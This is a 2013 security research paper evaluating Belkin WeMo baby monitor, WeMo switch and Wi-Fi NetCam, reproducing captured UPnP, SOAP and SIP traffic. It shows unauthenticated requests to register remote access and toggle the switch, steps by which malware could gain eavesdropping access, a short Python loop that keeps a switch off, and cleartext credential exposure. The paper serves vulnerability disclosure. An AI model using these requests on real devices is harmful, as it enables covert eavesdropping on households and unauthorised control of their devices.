Internet of Things Security Evaluation Series the perimeter security argument... · by NITESH DHANJANI 2013. Internet of ... SERVER: Linux/2.6.21, UPnP/1.0, Portable SDK for UPnP

Internet of Things Security Evaluation Series

!!!!!!!!!!!!!! !THE BELKIN WeMo BABY MONITOR, THE WeMo SWITCH, AND THE Wi-Fi NetCam !

RECONSIDERING THE PERIMETER SECURITY ARGUMENT !!!!!by NITESH DHANJANI

2013


It’s been a decade since we’ve accepted the idea that the perimeter strategy to security is ineffective: The endpoints must strive to protect their own stack rather than rely on their network segment being completely trust worthy. However, this notion has mostly permeated the corporate space as an emergency. Even such, businesses are still struggling with implementing controls in this area given the legacy of flat networks and Operating System design. !When it comes to residences, the implicit notion is that controls beyond Network Address Translation (NAT) aren’t immediately necessary from the perspective of cost and complexity. The emergence of Internet of Things (IoT) is going to dramatically change this notion. To illustrate these thoughts, we will take upon the security design of the Belkin WeMo baby monitor, WeMo wireless switch, and the Net-Cam Wi-Fi camera. These devices were particularly picked based on their popularity within the consumer space and the fact that they are self-installable. !The WeMo Baby Monitor !The Belkin WeMo baby monitor is a neat little device. It hops on Wi-Fi and lets the consumer monitor their baby from an iPhone or an iPad. It is also possible monitor the baby when away from home. !

Figure 1: The Belkin WeMo baby monitor !!Since the baby monitor transmits audio over the network (internally and externally), a vulnerability in the product could result in remote eavesdropping. The paragraphs below outline security concerns in this area. !Users with one-time access to the local Wi-Fi are allowed to eavesdrop remotely and indefinitely !In order to listen into the baby monitor, the user must download the “WeMo Baby” iOS app . 1

2013

! WeMo Baby iOS app: https://itunes.apple.com/us/app/wemo-baby/id5020397051


Figure 2: WeMo Baby iOS app !Once the user launches the iOS app while on the local Wi-Fi network, the app locates the baby monitor and submits the following POST request to the baby monitor: !GET /setup.xml HTTP/1.1 Content-Length: 0 HOST: 10.0.1.2:49153 User-Agent: CyberGarage-HTTP/1.0 !And the baby monitor responds: !<root xmlns="urn:Belkin:device-1-0"> <specVersion> <major>1</major> <minor>0</minor> </specVersion> <device> <deviceType>urn:Belkin:device:wemo_baby:1</deviceType> <friendlyName>WeMo Baby</friendlyName> <manufacturer>Belkin International Inc.</manufacturer> <manufacturerURL>http://www.belkin.com</manufacturerURL> <modelDescription>Belkin Plugin Socket 1.0</modelDescription> <modelName>Socket</modelName> <modelNumber>1.0</modelNumber> <modelURL>http://www.belkin.com/plugin/</modelURL> <serialNumber>[DELETED]</serialNumber> <UDN>uuid:wemo_baby-1_0-[DELETED]</UDN> <UPC>123456789</UPC> <macAddress>[DELETED]</macAddress> <firmwareVersion>WeMo_WW_2.00.2397.PVT_Baby</firmwareVersion>

2013


<iconVersion>0|49153</iconVersion> <binaryState>0</binaryState> <iconList> <icon> <mimetype>jpg</mimetype> <width>100</width> <height>100</height> <depth>100</depth> <url>icon.jpg</url> </icon> </iconList> <serviceList> <service> <serviceType>urn:Belkin:service:WiFiSetup:1</serviceType> <serviceId>urn:Belkin:serviceId:WiFiSetup1</serviceId> <controlURL>/upnp/control/WiFiSetup1</controlURL> <eventSubURL>/upnp/event/WiFiSetup1</eventSubURL> <SCPDURL>/setupservice.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:timesync:1</serviceType> <serviceId>urn:Belkin:serviceId:timesync1</serviceId> <controlURL>/upnp/control/timesync1</controlURL> <eventSubURL>/upnp/event/timesync1</eventSubURL> <SCPDURL>/timesyncservice.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:basicevent:1</serviceType> <serviceId>urn:Belkin:serviceId:basicevent1</serviceId> <controlURL>/upnp/control/basicevent1</controlURL> <eventSubURL>/upnp/event/basicevent1</eventSubURL> <SCPDURL>/eventservice.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:firmwareupdate:1</serviceType> <serviceId>urn:Belkin:serviceId:firmwareupdate1</serviceId> <controlURL>/upnp/control/firmwareupdate1</controlURL> <eventSubURL>/upnp/event/firmwareupdate1</eventSubURL> <SCPDURL>/firmwareupdate.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:rules:1</serviceType> <serviceId>urn:Belkin:serviceId:rules1</serviceId> <controlURL>/upnp/control/rules1</controlURL> <eventSubURL>/upnp/event/rules1</eventSubURL> <SCPDURL>/rulesservice.xml</SCPDURL> </service> . <service> <serviceType>urn:Belkin:service:metainfo:1</serviceType> <serviceId>urn:Belkin:serviceId:metainfo1</serviceId> <controlURL>/upnp/control/metainfo1</controlURL> <eventSubURL>/upnp/event/metainfo1</eventSubURL> <SCPDURL>/metainfoservice.xml</SCPDURL> </service> ! <service> <serviceType>urn:Belkin:service:remoteaccess:1</serviceType>

2013


<serviceId>urn:Belkin:serviceId:remoteaccess1</serviceId> <controlURL>/upnp/control/remoteaccess1</controlURL> <eventSubURL>/upnp/event/remoteaccess1</eventSubURL> <SCPDURL>/remoteaccess.xml</SCPDURL> </service> . ! </serviceList> <presentationURL>/pluginpres.html</presentationURL> </device> </root> !The items of note in the response from the baby monitor are the serial number and the exposure of the remoteaccess1 service. !The iOS app also sends the following request: !POST /upnp/control/remoteaccess1 HTTP/1.1 Content-Type: text/xml; charset="utf-8" SOAPACTION: "urn:Belkin:service:remoteaccess:1#RemoteAccess" Content-Length: 589 HOST: 10.0.0.2:49153 User-Agent: CyberGarage-HTTP/1.0 !<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:RemoteAccess xmlns:u="urn:Belkin:service:remoteaccess:1"> <DeviceId>[removed]</DeviceId> <dst>0</dst> <HomeId></HomeId> <DeviceName>iPad 4G</DeviceName> <MacAddr></MacAddr> <pluginprivateKey></pluginprivateKey> <smartprivateKey></smartprivateKey> <smartUniqueId></smartUniqueId> <numSmartDev></numSmartDev> </u:RemoteAccess> </s:Body> </s:Envelope> !The baby monitor responds to the request: !HTTP/1.1 200 OK CONTENT-LENGTH: 631 CONTENT-TYPE: text/xml; charset="utf-8" DATE: Tue, 24 Sep 2013 12:50:37 GMT EXT: SERVER: Linux/2.6.21, UPnP/1.0, Portable SDK for UPnP devices/1.6.18 X-User-Agent: redsonic !<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body> <u:RemoteAccessResponse xmlns:u="urn:Belkin:service:remoteaccess:1"> <homeId>[DELETED]</homeId> <pluginprivateKey>[DELETED}</pluginprivateKey> <smartprivateKey>[DELETED]/smartprivateKey>

2013


<resultCode>PLGN_200</resultCode> <description>Successful</description> <statusCode>S</statusCode> <smartUniqueId>[DELETED]</smartUniqueId> <numSmartDev>3</numSmartDev> </u:RemoteAccessResponse> </s:Body> </s:Envelope> !The smartUniqueID returned by the baby monitor is the same as the DeviceId value POSTed by the iOS app. !The WeMo Baby architecture uses the SIP protocol for audio. When the user clicks on the “Listen” button, the iOS app and the baby monitor connect through a SIP proxy [54.236.158.75:6060]. Here is an example of the SIP traffic: !SIP/2.0 100 Trying Via: SIP/2.0/TCP 10.0.0.2:59662;rport=4096;received=10.0.0.115;branch=[DELETED Record-Route: <sip:k2.k.belkin.evodevices.com:6060;transport=tcp;lr;did=f9e.f801;nat=yes> Call-ID: [DELETED] From: <sip:[DELETED but same as smartUniqueId and DeviceID]@bedev.evomonitors.com>;tag=[removed] To: <sip:[DELETED but same as serialNumber]@bedev.evomonitors.com> CSeq: 5874 INVITE Content-Length: 0 !SIP/2.0 200 OK Via: SIP/2.0/TCP 10.0.0.2:59662;rport=4096;received=10.0.0.115;branch=[DELETED] Record-Route: <sip:k2.k.belkin.evodevices.com:6060;transport=tcp;lr;did=f9e.f801;nat=yes> Call-ID: [DELETED] From: <sip: [DELETED but same as smartUniqueId and DeviceID]@bedev.evomonitors.com>;tag=[DELETED] To: <sip:[DELETED but same as serialNumber]@bedev.evomonitors.com>;tag=[DELETED] CSeq: 5874 INVITE Contact: <sip: [DELETED but same as serialNumber]@10.0.0.115:3925;transport=tcp;ob>;+sip.ice Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 91;refresher=uac Content-Type: application/sdp Content-Length: 368 !v=0 o=- 3589015852 3589015853 IN IP4 10.0.1.2 s=pjmedia c=IN IP4 10.0.1.2 b=AS:84 t=0 0 a=X-nat:0 m=audio 3106 RTP/AVP 3 96 c=IN IP4 10.0.1.2 b=TIAS:64000 b=RS:0

2013


b=RR:0 a=sendrecv a=rtpmap:3 GSM/8000 a=rtpmap:96 telephone-event/8000 a=fmtp:96 0-15 a=ice-ufrag: [REMOVED] a=ice-pwd:[DELETED] a=candidate:Ha000102 1 UDP 2130706431 10.0.1.2 3106 typ host !

Figure 3: Video demonstration of WeMo app authorization !The obvious issue here is that a user with one-time access to the local Wi-Fi where the baby monitor can register itself without authentication and authorization. It can also continue to access the baby monitor remotely until a local user specifically deletes the device from the “Access” list (using the iOS app while on the local Wi-Fi). This issue is demonstrated in the YouTube video available at http://youtu.be/ERqSpjMGhjQ.

Figure 4: Lon J. Seidman’s review of the WeMo baby monitor !2013


A realistic scenario of this issue is that of a friend visiting a location and requesting temporary access to Wi-Fi. If this individual were to access the WeMo Baby app, he or she can then continue to listen in to the baby monitor remotely. On this note, Lon J. Seidman’s Amazon review of the WeMo baby monitor specifically states his concern over this design issue (Figure 4). The review is titled “Poor security, iOS background tasks not reliable enough for child safety” . 2!“...But that's not the only issue plaguing this device. The other is a very poor security model that leaves the WeMo open to unwelcome monitoring. The WeMo allows any iOS device on your network to connect to it and listen in without a password. If that's not bad enough, when an iPhone has connected once on the local network it can later tune into the monitor from anywhere in the world. Belkin assumes that your access point is secured and that the only people accessing it are people you know. This is especially troublesome for people who don't secure their access points or are using weak security that's vulnerable to cracking. !Belkin seems to acknowledge this vulnerability in the software, showing which devices can connect to the WeMo and whether or not to allow global snooping. Unfortunately WeMo gives full access to every device right out of the gate, requiring you to continually monitor it to ensure that an unauthorized listener hasn't connected to it. !The bottom line? It's not reliable enough to make it an effective monitor for my child, nor is it secure enough to give me the confidence that others can't snoop in. For those reasons I simply can't recommend this product” !This is important context since the concern is expressed by an actual user, in this case an expecting parent. !In response to Seidman’s review, Belkin issued this comment: !“Hello Lon, !Thanks for taking the time to review the WeMo Audio Baby monitor. We appreciate your security concerns and would like to respond to the issues you raise. For homes that use a password for their WiFi, our product is as secure as any item on that network. For someone to get access to the baby monitor a person would need to discover that password. For homes without a password we recommend they implement one for the general security of everything they do on their home network. We are adding this recommendation to our Frequently Asked Questions. !As you correctly identified, families are able to give access to others by sharing their WiFi password with trusted friends or family members. We believe this is a positive feature of the system and expect people will treat the sharing of this password with care as it gives access to their home network. However for those who are concerned, when logged onto the baby monitor, it's possible to disable the remote access of others if uncomfortable with having others listening. !If you have any other feedback you would like to share with us we are always happy to hear it. Please write us at [email protected]. !Best Regards, Belkin Support” !As we add additional IoT devices to our homes, the reliance on Wi-Fi security becomes a hard sell. Given the impact to our physical privacy and safety, it’s difficult to stand by the argument that all bets are off once a single device (computer or IoT device) is compromised. Homes in developed countries are bound to have dozens of remotely controllable IoT devices. The single point of failure can’t be the Wi-Fi password. What’s

2013

! Lon J. Seidman’s Amazon review: http://www.amazon.com/review/R1KDQKNWBBISY1/2


more, a compromised computer or device will already have access to the network so the Wi-Fi password is not needed by the remote attacker - this point takes us to the issue of malware which is discussed in the next section. !Malware can gain authorization and enable remote access Should a device on the local Wi-Fi network be compromised, malware can easily obtain authorization on behalf of the malware author by following these simple steps: !1. Locate the WeMo baby monitor on the local network. 2. Issue GET request to /setup.xml to obtain the serialNumber. 3. Issue POST request to /upnp/control/remoteaccess1 with self chosen DeviceID. 4. Transmit the serialNumber and DeviceID to the malware author. As shown in the SIP requests

above, this is the secret information needed to initiate a connection to the baby monitor and listen in. !We can expect malware authors to incorporate scanning of the local network for IoT devices. Once a device is located, such a scenario is easy to implement given that all local devices can authorize themselves for remote access. !!The WeMo Switch !The WeMo switch lets you turn electronic devices on or off from your iOS device.

Figure 5: The WeMo switch !The switch uses WiFi and can be controlled locally or remotely. !!!!!

2013


Figure 6: The WeMo iOS app used to control the switch !The WeMo iOS app is quite simple to use. The user can click on the power button to turn the plugged-in device on or off. !The iOS app sends the following Universal Plug and Play (UPnP) request to locate the switch on the local 3

network using UDP: !M-SEARCH * HTTP/1.1 HOST:239.255.255.250:1900 ST:upnp:rootdevice MX:2 MAN:"ssdp:discover" !The switch then responds with the following data: !HTTP/1.1 200 OK CACHE-CONTROL: max-age=86400 DATE: Mon, 14 Oct 2013 10:48:31 GMT LOCATION: http://10.0.1.8:49153/setup.xml OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01 01-NLS: [removed] SERVER: Unspecified, UPnP/1.0, Unspecified X-User-Agent: redsonic ST: upnp:rootdevice USN: uuid:Socket-1_0-[removed]::upnp:rootdevice

2013

! Universal Plug and Play: http://en.wikipedia.org/wiki/Universal_Plug_and_Play3


!Here is the content of setup.xml: !<?xml version="1.0"?> <root xmlns="urn:Belkin:device-1-0"> <specVersion> <major>1</major> <minor>0</minor> </specVersion> <device> <deviceType>urn:Belkin:device:controllee:1</deviceType> <friendlyName>WeMo Switch</friendlyName> <manufacturer>Belkin International Inc.</manufacturer> <manufacturerURL>http://www.belkin.com</manufacturerURL> <modelDescription>Belkin Plugin Socket 1.0</modelDescription> <modelName>Socket</modelName> <modelNumber>1.0</modelNumber> <modelURL>http://www.belkin.com/plugin/</modelURL> <serialNumber>[REMOVED]</serialNumber> <UDN>[REMOVED]</UDN> <UPC>123456789</UPC> <macAddress>[REMOVED]</macAddress> <firmwareVersion>WeMo_US_2.00.2769.PVT</firmwareVersion> <iconVersion>0|49153</iconVersion> <binaryState>0</binaryState> <iconList> <icon> <mimetype>jpg</mimetype> <width>100</width> <height>100</height> <depth>100</depth> <url>icon.jpg</url> </icon> </iconList> <serviceList> <service> <serviceType>urn:Belkin:service:WiFiSetup:1</serviceType> <serviceId>urn:Belkin:serviceId:WiFiSetup1</serviceId> <controlURL>/upnp/control/WiFiSetup1</controlURL> <eventSubURL>/upnp/event/WiFiSetup1</eventSubURL> <SCPDURL>/setupservice.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:timesync:1</serviceType> <serviceId>urn:Belkin:serviceId:timesync1</serviceId> <controlURL>/upnp/control/timesync1</controlURL> <eventSubURL>/upnp/event/timesync1</eventSubURL> <SCPDURL>/timesyncservice.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:basicevent:1</serviceType> <serviceId>urn:Belkin:serviceId:basicevent1</serviceId> <controlURL>/upnp/control/basicevent1</controlURL> <eventSubURL>/upnp/event/basicevent1</eventSubURL> <SCPDURL>/eventservice.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:firmwareupdate:1</serviceType>

2013


<serviceId>urn:Belkin:serviceId:firmwareupdate1</serviceId> <controlURL>/upnp/control/firmwareupdate1</controlURL> <eventSubURL>/upnp/event/firmwareupdate1</eventSubURL> <SCPDURL>/firmwareupdate.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:rules:1</serviceType> <serviceId>urn:Belkin:serviceId:rules1</serviceId> <controlURL>/upnp/control/rules1</controlURL> <eventSubURL>/upnp/event/rules1</eventSubURL> <SCPDURL>/rulesservice.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:metainfo:1</serviceType> <serviceId>urn:Belkin:serviceId:metainfo1</serviceId> <controlURL>/upnp/control/metainfo1</controlURL> <eventSubURL>/upnp/event/metainfo1</eventSubURL> <SCPDURL>/metainfoservice.xml</SCPDURL> </service> ! <service> <serviceType>urn:Belkin:service:remoteaccess:1</serviceType> <serviceId>urn:Belkin:serviceId:remoteaccess1</serviceId> <controlURL>/upnp/control/remoteaccess1</controlURL> <eventSubURL>/upnp/event/remoteaccess1</eventSubURL> <SCPDURL>/remoteaccess.xml</SCPDURL> </service> <service> <serviceType>urn:Belkin:service:deviceinfo:1</serviceType> <serviceId>urn:Belkin:serviceId:deviceinfo1</serviceId> <controlURL>/upnp/control/deviceinfo1</controlURL> <eventSubURL>/upnp/event/deviceinfo1</eventSubURL> <SCPDURL>/deviceinfoservice.xml</SCPDURL> </service> ! </serviceList> <presentationURL>/pluginpres.html</presentationURL> </device> </root> !!!!!!!!!!!!!

2013


Figure 7: Remote access setup in the WeMo iOS app !Notice the remoteaccess1 service. It is invoked similarly to the example listed for WeMo baby. An additional request is sent to https://api.xbcs.net:8433/apis/http/plugin/push/register with the authorization token (similar to DeviceID). !If the user toggles the switch in the app from a remote location a POST request is sent to https://api.xbcs.net:8443/apis/http/plugin/message: !POST /apis/http/plugin/message HTTP/1.1 Host: api.xbcs.net:8443 Authorization: SDU [DELETED, token similar to DeviceID] Accept-Encoding: gzip Content-Type: application/xml Content-Length: 899 Accept: application/xml Connection: close Proxy-Connection: close User-Agent: WeMo 1.2.6 rv:11793 (iPhone; iPhone OS 7.0.2; en_US) !<plugins> <plugin> <recipientId>[DELETED]</recipientId> <macAddress>[DELETED]</macAddress> <content> <![CDATA[<pluginDeviceStatus> <plugin> <pluginId>959693</pluginId> <macAddress>[DELETED]</macAddress> <status>0</status> <friendlyName>friendlyName</friendlyName>

2013


<firmwareVersion></firmwareVersion> <fwUpgradeStatus></fwUpgradeStatus> <signalStrength></signalStrength> </plugin> </pluginDeviceStatus> ]]> </content> </plugin> <plugin> <recipientId>[DELETED]</recipientId> <macAddress>[DELETED]</macAddress> <content> <![CDATA[<pluginDeviceStatus> <plugin> <pluginId>[DELETED]</pluginId> <macAddress>[DELETED[</macAddress> <status>0</status> <friendlyName>friendlyName</friendlyName> <firmwareVersion></firmwareVersion> <fwUpgradeStatus></fwUpgradeStatus> <signalStrength></signalStrength> </plugin> </pluginDeviceStatus> ]]> </content> </plugin> </plugins> !If the user is in the same Wi-Fi network, a local POST request is sent directly to the switch to turn it off: !POST /upnp/control/basicevent1 HTTP/1.1 SOAPACTION: "urn:Belkin:service:basicevent:1#SetBinaryState" Content-Length: 316 Content-Type: text/xml; charset="utf-8" HOST: 10.0.1.8:49153 User-Agent: CyberGarage-HTTP/1.0 !<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetBinaryState xmlns:u="urn:Belkin:service:basicevent:1"> <BinaryState>0</BinaryState> </u:SetBinaryState> </s:Body> </s:Envelope> !Notice that in this case, the iOS app sends no authorization token. The switch responds: !HTTP/1.1 200 OK CONTENT-LENGTH: 285 CONTENT-TYPE: text/xml; charset="utf-8" DATE: Mon, 14 Oct 2013 10:58:26 GMT EXT: SERVER: Unspecified, UPnP/1.0, Unspecified X-User-Agent: redsonic !

2013


<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body> <u:SetBinaryStateResponse xmlns:u="urn:Belkin:service:basicevent:1"> <BinaryState>0</BinaryState> </u:SetBinaryStateResponse> </s:Body> </s:Envelope> !!Malware can gain authorization and enable remote access !Similar to the situation in WeMo baby, malware on the local network can easily turn devices on the WeMo switch on or off by directly invoking a POST request to /upnp/control/basicevent1. !Isaac Kelly has create a proof-of-concept toolkit in Python to test local access to the WeMo switch. For 4

demonstration purposes, a simple malware script with local access can wrap use this framework to perpetually turn the electronic device (plugged into the WeMo switch) off: !#!/usr/bin/python !import time !from wemo import on, off, get !while True: off() time.sleep(5) !!A video demonstration of this can be seen at http://youtu.be/2EoeuczdoSs. !

Figure 8: Video demonstration of malware targeting WeMo switch !

2013

! Isaac Kelly’s python WeMo proof-of-concept toolkit: https://github.com/issackelly/wemo4


Also similar to WeMo baby, the malware script can obtain remote access and ship the authorized token to an attacker remotely. In this scenario a potential botnet herder can easily gain remote access to multiple WeMo switches in homes where his or her malware has been deployed. !!Wi-Fi NetCam !The Belkin Wi-Fi NetCam lets users remotely view video from the camera.

Figure 9: The Belkin Wi-Fi NetCam !The NetCam app can be used to remotely view the video from the camera. 5!

2013

! NetCam app: https://itunes.apple.com/us/app/belkin-netcam/id5681298665


Figure 10: NetCam app login screen !The good thing about the NetCam app is that it requires a password even if the user is on the local Wi-Fi. The app and the camera also use SSL for network traffic. !!NetCam password can be captured by local Wi-Fi users and by the internet service provider to obtain full blown remote access to the camera !Even though the NetCam app as well as the camera use SSL, network packet analysis shows that is alos sends the password in clear-text password to 66.160.133.67. !

Figure 11: NetCam username and password transmitted in clear via the Internet !In this case, anyone with access to the local Wi-Fi network can obtain the credentials. This could be a malicious individual or malware. Routers along the path to 66.160.133.67 can also capture the credentials.

Figure 12: Attacker spying on victim (who happens to be wearing a horse mask) !

2013


Once the attacker or botnet herder has collected the credentials, he or she can spy on the victim using the Netcam app (illustrated in Figure 12) or through the website https://netcam.belkin.com/. !!Conclusion !The phenomenon of the Internet of Things (IoT) is positively influencing our lives by augmenting our spaces with intelligent and connected devices. Examples of these devices include lightbulbs, motion sensors, door locks, video cameras, thermostats, baby monitors, wireless switches, and power outlets. By 2022, the average household with two teenage children will own dozens of such Internet connected devices. !Given the upcoming revolution of automation in our homes, we are already seeing self-installable IoT devices such as the candidates discussed in this document. As seen by the detailed illustrations in the above examples, we cannot secure our future by asserting that IoT devices and supporting applications have no responsibility to protecting the user’s privacy and security beyond requiring the user setup a strong WiFi password. !IoT device manufacturers should lay the foundation for a strong security architecture that is usable as well as not easily susceptible to other devices on the network. In these times, a compromised device on a home network can lead to the loss of financial information and personal information. If IoT device vendors continue their approach of depending on the local home network and all other device being completely secure, we will live in a world where a compromised device can result in gross remote violation of privacy and physical security of it’s customers.

2013


About the Author Nitesh Dhanjani is a well known security researcher, author, and speaker. Dhanjani is the author of “Hacking: The Next Generation” (O’Reilly), "Network Security Tools: Writing, Hacking, and Modifying Security Tools" (O'Reilly) and "HackNotes: Linux and Unix Security" (Osborne McGraw-Hill). He is also a contributing author to "Hacking Exposed 4" (Osborne McGraw-Hill) and "HackNotes: Network Security". Dhanjani has been invited to talk at various information security events such as the Black Hat Briefings, RSA, Hack in the Box, Microsoft Blue Hat, and OSCON. !Dhanjani is currently an Executive Director at a large consulting firm where he advises some of the largest corporations around the world on how to establish enterprise wide information security programs and solutions. Dhanjani is also responsible for evangelizing brand new technology service

lines around emerging technologies and trends such as smart devices, cloud computing, and mobile security. !Prior to his current job, Dhanjani was Senior Director of Application Security and Assessments at a major credit bureau where he spearheaded brand new security efforts into enhancing the enterprise SDLC, created a process for performing source code security reviews & Threat Modeling, and managed the Attack & Penetration team. !Dhanjani graduated from Purdue University with both a Bachelors and Masters degree in Computer Science.

2013

Documents

Internet of Things Security Evaluation Series the perimeter security argument... · by NITESH DHANJANI 2013. Internet of ... SERVER: Linux/2.6.21, UPnP/1.0, Portable SDK for UPnP